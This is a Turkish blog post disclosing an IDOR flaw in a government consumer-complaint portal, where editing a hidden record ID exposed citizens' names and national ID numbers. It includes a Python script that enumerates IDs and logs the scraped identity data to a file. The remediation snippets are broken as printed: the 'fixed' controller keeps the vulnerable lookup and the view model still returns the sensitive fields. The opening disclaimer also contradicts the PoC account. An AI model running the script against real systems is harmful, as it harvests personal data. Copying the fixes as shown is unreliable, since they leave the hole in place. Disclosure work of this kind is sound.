abort.run

Tüketici Hakem Heyeti'nde IDOR: TC Kimlik ve Kişisel Veri Açığı

8 dk okuma

Tüketici Hakem Heyeti’nde IDOR: Adaptör Şikayetinden Güvenlik Açığı Keşfine

Sorumluluk

Tüm testler yalnızca kendi hesabım üzerinde gerçekleştirilmiş; hiçbir vatandaşa ait veri okunmamış, kopyalanmamış veya kaydedilmemiştir.

İki yıldan uzun bir süre M2 işlemcili MacBook kullandım (Kısa yorumum: hüsran). İki yılımın ardından MacBook benim hızıma yetişememeye başladı ve esnekliği konusunda ciddi problemler yaşamaya başlamıştım. Herhangi bir yazılım kurmak istediğimde ARM desteği olup olmadığını düşünmek bile benim için bir gerilim olmuştu. Bu yüzden yine çok hızlı bir kararla MSI marka bir Windows laptop satın aldım.

Aslında hikayenin esas başlangıç noktası burası.

Aldığım yeni laptop’un güç adaptöründe bazı cızırtı sesleri duyuyordum ve genelde sessiz ortamda odaklanıp çalıştığım için bu bana büyük bir problem yaşatıyordu. Teknik servis ile iletişime geçtim fakat bu konuda bir şey yapmamayı tercih ettiler. Ben de saplantılı bir şekilde hakkımı savunmayı sevdiğim için soluğu Tüketici Hakem Heyeti’nin web sitesinde aldım. Şikayetimi oluşturmak için sistemde gezinirken, bir şeyler dikkatimi çekmeye başladı…


Sisteme İlk Bakış

Tüketici Hakem Heyeti web sitesinin kendi dahili bir kayıt (register) veya giriş (login) fonksiyonu bulunmuyor. Kullanıcılar kimlik doğrulama (authentication) işlemlerini tamamen e-Devlet entegrasyonu üzerinden gerçekleştirerek sisteme dahil oluyorlar.

Ancak giriş yaptıktan sonra sizi karşılayan ana sayfa (index), modern arayüz standartlarından oldukça uzak. Kendi döneminin şartlarında bile aceleye getirilmiş, UI/UX açısından pek özenilmemiş, demode bir yapıya sahip.

Tüketici Hakem Heyeti Ana Sayfa Görünümü
Tüketici Hakem Heyeti Ana Sayfa Görünümü

Sistem sizi zorunlu olarak “Tüketici Başvuruları” sayfasına yönlendiriyor. ticaret.gov.tr altındaki bir alt alanda (subdomain) çalışan bu sayfayı ziyaret ettiğinizde ise klasik sidebar / header / footer / content düzenine sahip bir dashboard sizi karşılıyor. Masaüstü ortamında olduğu gibi mobilde de responsive (duyarlı) tasarıma özen gösterilmemiş. Uygulama geliştirme süreçlerindeki tecrübelerimden yola çıkarak: Front-end tarafındaki bu özensizlik, genellikle backend mimarisinde yaşanabilecek sorunların ve zafiyetlerin güçlü bir sinyalidir.

Tüketici Başvuruları — Şikayet Başvuru Formu
Tüketici Başvuruları — Şikayet Başvuru Formu

Kişisel Bilgilerim Sayfası

Siteyi incelemeye başladığımda kenar çubuğundaki (sidebar) Kişisel Bilgilerim alanı ilgimi çekti ve o sayfayı incelemeye başladım. Ortada enteresan bir durum vardı: Authentication için e-Devlet yapısı kullanıldığı halde, kullanıcıların bilgileri kurumun kendi yerel veritabanında tutuluyordu. Sayfayı biraz daha incelediğimde bu teorimi doğrulayan bir detayla karşılaştım; Ad, Soyad ve TC Kimlik No gibi alanlar (fields) sadece disabled ve read-only inputlar olarak render ediliyordu.

Kişisel Bilgilerim Sayfası
Kişisel Bilgilerim Sayfası

Bu yapıyı fark ettikten sonra, arka planda işlerin nasıl yürüdüğüne dair kendime şu kritik soruları sormadan edemedim:

Kritik Sorular

  1. Sistem TC Kimlik No verisini getirirken neye göre filtreleme yapıyor? Arada token tabanlı bir (örneğin JWT) yapı kullanılıyor mu?
  2. Bu verilerin doğrulaması her istekte e-Devlet tarafında mı yapılıyor, yoksa sistemin kendi dahili API endpoint’leri mi var?
  3. Eğer kendi API endpoint’leri varsa, Authorization (Yetkilendirme) kontrolleri düzgün yapılıyor mu?

İşte bu son soru, beni asıl zafiyete götüren kapıyı araladı.

Cevapları bulmak için BurpSuite ile yapılan istekleri incelemek istedim. Sözüm ona tüketicinin hakkını savunmak için geliştirilmiş bir sistem, tüketicinin kendi verisini bile koruyamıyor olabilir miydi?

İsteklerin Anatomisi

GET İsteği

İlk önce /Tuketici/KisiselBilgi adresine yapılan GET isteğini incelemek istedim; arka planda neler döndüğüne dair iyi bir fikir verebilirdi. Yapılan HTTP isteği şu şekildeydi:

GETtuketicisikayeti.ticaret.gov.tr/Tuketici/KisiselBilgi
ASP.NET_SessionId0w22g02kh2e3luv25k25sr1j
.ASPXAUTH0F21B1247... [Kısaltıldı]
__RequestVerificationTokeneV1WrX-... [Kısaltıldı]

Bu istekte ilgimi çeken ilk şey __RequestVerificationToken olmasıydı. CSRF (Cross-Site Request Forgery) saldırılarından korunmak için AntiForgeryToken kullanmışlardı. Fakat UI ve UX tarafında gördüğüm özensizlikten dolayı, bunun güvenliği sağlamaktan ziyade framework’ün varsayılan ayarlarıyla, ezbere yapıldığına inanıyordum ve aramaya devam ettim…

Takip ettiğimiz /Tuketici/KisiselBilgi sayfasında bir de “Kaydet” butonu bulunuyor. Sistemin genel yapısına bakıldığında Server-Side Render (SSR) yapıldığını hissedebiliyordum. Arka planda modern bir RestAPI çalışması çok mümkün görünmüyordu. Fakat emin olmak için yine de Developer Console aracılığıyla Fetch/XHR verilerine baktım.

Tam da tahmin ettiğim gibi hiçbir şey bulamadım. Sistem tamamen Server-Side Render yapıyor, arkada asenkron çalışan hiçbir servis yok.

Developer Console — Fetch/XHR sekmesi boş
Developer Console — Fetch/XHR sekmesi boş

Dolayısıyla şundan artık eminiz ki; bu “Kaydet” butonu sistemde bir yerlere form verilerini (POST isteği) gönderiyor olmalı. Ama nereye ve nasıl?

POST İsteği: Kritik Bulgu

Hemen Burp Suite ile araya girip butona basıldığında yapılan isteği yakaladım ve inceledim.

Ve Bingo!

POSTtuketicisikayeti.ticaret.gov.tr/Tuketici/KisiselBilgi
Content-Typeapplication/x-www-form-urlencoded
CookieASP.NET_SessionId=0w22g02kh2e3luv... ; .ASPXAUTH=0F21B12... ; __RequestVerificationToken=eV1WrX-...
body
KISI.RID=11602900&KISI.AKTIF=EVET&KISI.DOGUM_TARIHI=XX%2FXX%2F19XX&SABITTEL=0535+XXX+XXXX&CEPTEL=0535+XXX+XXXX&EPOSTA=linuxturkey06%40gmail.com&ADRES=+%2F+ANKARA&IL=6&ILCE=80&TAAHHUTNAME=Taahhütname+Stringi+URL+ENCODED...&DXScript=1_171%2C1_94...

İsteğin body kısmını (payload) incelediğimizde birçok “business-logic” ve performans hatası olduğunu görüyoruz. Örneğin; ciddi ciddi 1000 karakterlik bir taahhütname metnini her defasında POST verisi içerisine koyup backend’e taşıtıyorlar. DevExpress bileşenlerinin devasa DXScript state’leri havada uçuşuyor. Birçok temel mimari hata var. Fakat şimdilik bunların üzerinde durmayacağım, biz şimdilik Ad, Soyad ve TC Kimlik No verisinin peşindeyiz.

KISI.RID=11602900

Eminim hepinizin gözüne çarpan ilk veri KISI.RID=11602900 olmuştur.

Sistemin Server-Side Render yapıldığını biliyoruz. Dolayısıyla kurgulanan akış şu şekilde işlemeli:

1
Kullanıcı e-Devlet ile sisteme giriş yapar.
2
Backend, kullanıcının veritabanındaki kayıt ID’sini (RID) bulur.
3
Bu RID değeri, HTML formunun içine bir hidden input olarak gömülür.
4
Kullanıcı “Kaydet” butonuna bastığında form verileriyle birlikte RID de sunucuya POST edilir.
5
Sunucu bu RID’e bakarak hangi kaydı güncelleyeceğine karar verir — Fakat login olmuş kullanıcının RID değeri ile inputta yazan RID değeri eşleşiyor mu bakmıyor.

HTML içeriğin kaynağını görüntülediğimde düşündüğüm gibi birden çok hidden alan buldum. Ve bu alanlardan bir tanesi tam da düşündüğümüz gibi RID değerini Server’a POST etmek için kullanılıyordu.

Sayfa Kaynağı — Hidden Input'lar
<input type="hidden" id="KISI_RID"   name="KISI.RID"   value="11602900"
       data-val="true" data-val-required="The RID field is required." />
<input type="hidden" id="KISI_AKTIF" name="KISI.AKTIF" value="EVET"
       data-val="true" data-val-required="The AKTIF field is required." />

Peki ya kullanıcı, kendisine ait olmayan bir ID değeri ile işlem yapmaya çalışırsa? Sunucu bu RID değerinin o an giriş yapmış olan kişiye ait olup olmadığını kontrol ediyor mudur? HAYIR.

IDOR Zafiyeti — Impact Analizi

IDOR (Insecure Direct Object Reference), bir uygulamanın kullanıcıdan aldığı bir parametreyi (ID, dosya adı, kayıt numarası) doğrudan veritabanı sorgusunda kullanırken o parametrenin gerçekten o kullanıcıya ait olup olmadığını kontrol etmemesi durumunda ortaya çıkan güvenlik açığıdır. OWASP Top 10 listesinde Broken Access Control kategorisinde yer alır.

Geliştiriciler kimlik doğrulama (Authentication) işlemlerini yapsalar bile, kullanıcıdan gelen parametrelerin (bu örnekteki KISI.RID) gerçekten o oturumdaki kullanıcıya ait olup olmadığını doğrulamadıklarında (Authorization eksikliği) bu açık ortaya çıkabilmektedir.

Şimdi Backend’de yazılmış kodu az çok ortaya koyabiliriz. Sistemin arkasındaki kod .NET ortamında tahminen şu şekilde yazılmış bir mantık barındırıyor:

Sorun 1 — Eksik Authorization

[Authorize] attribute’ü yalnızca “bu kullanıcı giriş yapmış mı?” sorusunu cevaplar. “Bu RID bu kullanıcıya ait mi?” eşleştirmesini yapmamakta.

Yetkisiz erişim
[Authorize] // giriş kontrolü var — sahiplik kontrolü YOK
[HttpPost]
public async Task<IActionResult> KisiselBilgiGuncelle(
    [FromForm] KisiselBilgiViewModel model)
{
    // istemciden gelen RID'e doğrudan güveniliyor
    var userProfile = await _context.Kullanicilar
        .FirstOrDefaultAsync(u => u.RID == model.KISI.RID);
 
    userProfile.Eposta = model.Eposta; // victim verisi güncelleniyor
    userProfile.CepTel = model.CepTel;
    await _context.SaveChangesAsync();
    ...
}

Sorun 2 — Hassas Veri Sızıntısı

Kaydetme işlemi bittikten sonra sayfa yeniden render ediliyor. Veritabanından gelen Ad, Soyad ve TC Kimlik No bilgileri disabled inputlara yazılarak saldırgana geri dönmekte.

Veri sızıntısı
return View(new KisiselBilgiViewModel {
    KISI = new KisiDto {
        Ad         = userProfile.Ad,          // SIZINTI
        Soyad      = userProfile.Soyad,       // SIZINTI
        TCKimlikNo = userProfile.TCKimlikNo   // SIZINTI
    }
});

Proof of Concept

Burp Suite üzerinden KISI.RID=11602900 değerini 11602901 yaparak isteği tekrar gönderdiğimde, sunucudan dönen HTML response’unda (yanıtında) hiç tanımadığım bir vatandaşa ait Ad, Soyad ve TC Kimlik Numarası bilgilerinin ekrana basıldığını gördüm. Sistem, o vatandaşa ait profil verilerini getirmiş ve formun içine gömüp bana servis etmişti.

Üstelik bu işlem sadece okumayla sınırlı kalmıyor, aynı zamanda o vatandaşa ait iletişim bilgilerini (E-posta, Telefon) değiştirmeme de olanak tanıyordu.

Şimdi bir exploit yazalım. Bu isteği otomatize edelim ve ID değerini otomatik olarak her istekte arttırsın. Böylece zafiyetin gerçekten nasıl kullanılabileceğini, etkisini (Impact) ve kullanıcıların Ad, Soyad ve TC bilgilerini elde edebileceğimizi pratikte de ispatlamış olalım.

Yalnızca Test Amaçlı

Aşağıdaki script yalnızca zafiyetin kapsamını belgeleyen bir PoC’dir. Hiçbir veri kaydedilmemiştir.

exploit.py
import requests
from bs4 import BeautifulSoup
import time
 
URL = "https://tuketicisikayeti.ticaret.gov.tr/Tuketici/KisiselBilgi"
 
COOKIES = {
    "ASP.NET_SessionId": "ndqzdansvbvbapbjd5kfkrdl",
    "Hello": "!v+GWSiRGwWia9LA0FmdmS0VgKAQ...",
    "__RequestVerificationToken": "VEKDKXm1JAxE3zF4Zc2LkTXJjru4..."
}
 
HEADERS = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded"
}
 
session = requests.Session()
session.cookies.update(COOKIES)
 
rid = 1
 
while True:
    payload = {"KISI.RID": str(rid), "KISI.AKTIF": "EVET"}
 
    try:
        response = session.post(URL, data=payload, headers=HEADERS, timeout=15)
        response.raise_for_status()
 
        soup = BeautifulSoup(response.text, "html.parser")
        tc    = soup.find("input", {"id": "KISI_TCKIMLIKNO"})
        ad    = soup.find("input", {"id": "KISI_AD"})
        soyad = soup.find("input", {"id": "KISI_SOYAD"})
 
        tc_val    = tc.get("value", "").strip()    if tc    else ""
        ad_val    = ad.get("value", "").strip()    if ad    else ""
        soyad_val = soyad.get("value", "").strip() if soyad else ""
 
        if tc_val or ad_val or soyad_val:
            tc_masked    = tc_val[0] + "*" * (len(tc_val) - 2) + tc_val[-1]
            soyad_masked = soyad_val[0] + "*" * (len(soyad_val) - 1)
            line = f"RID: {rid} | TC: {tc_masked} | AD: {ad_val} | SOYAD: {soyad_masked}"
            print(line)
            with open("sonuclar.txt", "a", encoding="utf-8") as f:
                f.write(line + "\n")
        else:
            print(f"RID {rid}: veri bulunamadı")
 
    except Exception as e:
        print(f"RID {rid} hata: {e}")
 
    rid += 1
    time.sleep(1)

Beginner seviyesi bir Python scriptiyle bu zafiyeti ne kadar kolay otomatize edebildiğimizi gördük.

Exploit scriptinin çalıştırılması

Remediation

Temel Kural

İstemciden gelen hiçbir kimlik parametresine güvenme. Kaynak sahipliğini her zaman sunucu tarafında, aktif session’dan doğrula.

1. Authorization Kontrolü

Zafiyetin temel nedeni, KISI.RID değerinin session ile karşılaştırılmamasıdır. Bunu tek satırlık bir sorgu değişikliği ile çözebiliriz:

Controller.cs
[Authorize]
[HttpPost]
public async Task<IActionResult> KisiselBilgiGuncelle(
    [FromForm] KisiselBilgiViewModel model)
{
    var userProfile = await _context.Kullanicilar
        .FirstOrDefaultAsync(u => u.RID == model.KISI.RID);
    if (userProfile == null) return NotFound();
 
    var currentRid = GetCurrentUserRid();
    var userProfile = await _context.Kullanicilar
        .FirstOrDefaultAsync(u => u.RID == currentRid);
    if (userProfile == null) return Forbid();
 
    userProfile.Eposta = model.Eposta;
    userProfile.CepTel = model.CepTel;
    await _context.SaveChangesAsync();
    return View(...);
}

2. Response’dan Hassas Alanları Kaldır

Güncelleme sonrası dönen view modeline TC Kimlik No, Ad, Soyad gibi alanların eklenmesi gerekmez. Response’dan çıkarılmalılar:

ViewModel.cs
return View(new KisiselBilgiViewModel {
    KISI = new KisiDto {
        Ad         = userProfile.Ad,
        Soyad      = userProfile.Soyad,
        TCKimlikNo = userProfile.TCKimlikNo
    },
    Eposta = userProfile.Eposta,
    CepTel = userProfile.CepTel
});

3. Sequential ID Yerine UUID Kullan

Sıralı integer ID’ler enumeration’ı trivial hale getirir. UUID kullanmak authorization eksikliğini gidermez; ama keşif için gereken eforu ciddi ölçüde artırır.

Model.cs
public int RID { get; set; }
public Guid RID { get; set; }

4. Rate Limiting

Authorization katmanı doğru çalışsa bile, yüksek frekanslı isteklere karşı rate limiting eklemek çok daha efektif bir savunma sağlar:

Program.cs
builder.Services.AddRateLimiter(options => {
    options.AddFixedWindowLimiter("api", opt => {
        opt.PermitLimit = 30;
        opt.Window = TimeSpan.FromMinutes(1);
        opt.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;
    });
});

Sonuç

Tüketici Hakem Heyeti, Türkiye’deki milyonlarca vatandaşın ticari uyuşmazlıklarını çözmek için başvurduğu resmi bir devlet platformudur. Bu sistemde tespit edilen IDOR zafiyeti; TC Kimlik Numarası, Ad, Soyad ve iletişim bilgileri gibi son derece hassas kişisel verileri, herhangi bir teknik engel olmaksızın ifşa ediyordu.

Zafiyetin teknik nedeni basitti: istemciden gelen bir ID parametresine sunucu tarafında doğrulama yapılmadan güvenilmesi. Fakat etkisi ağır olabilir — platformun tüm kullanıcı tabanı, birkaç satır Python koduyla enumerate edilebilir durumda.

Yama

Zafiyet ilgili birime iletildi. Bildirimin ardından yama uygulandı ve endpoint yeniden test edilerek kapatıldığı doğrulandı.

Discussion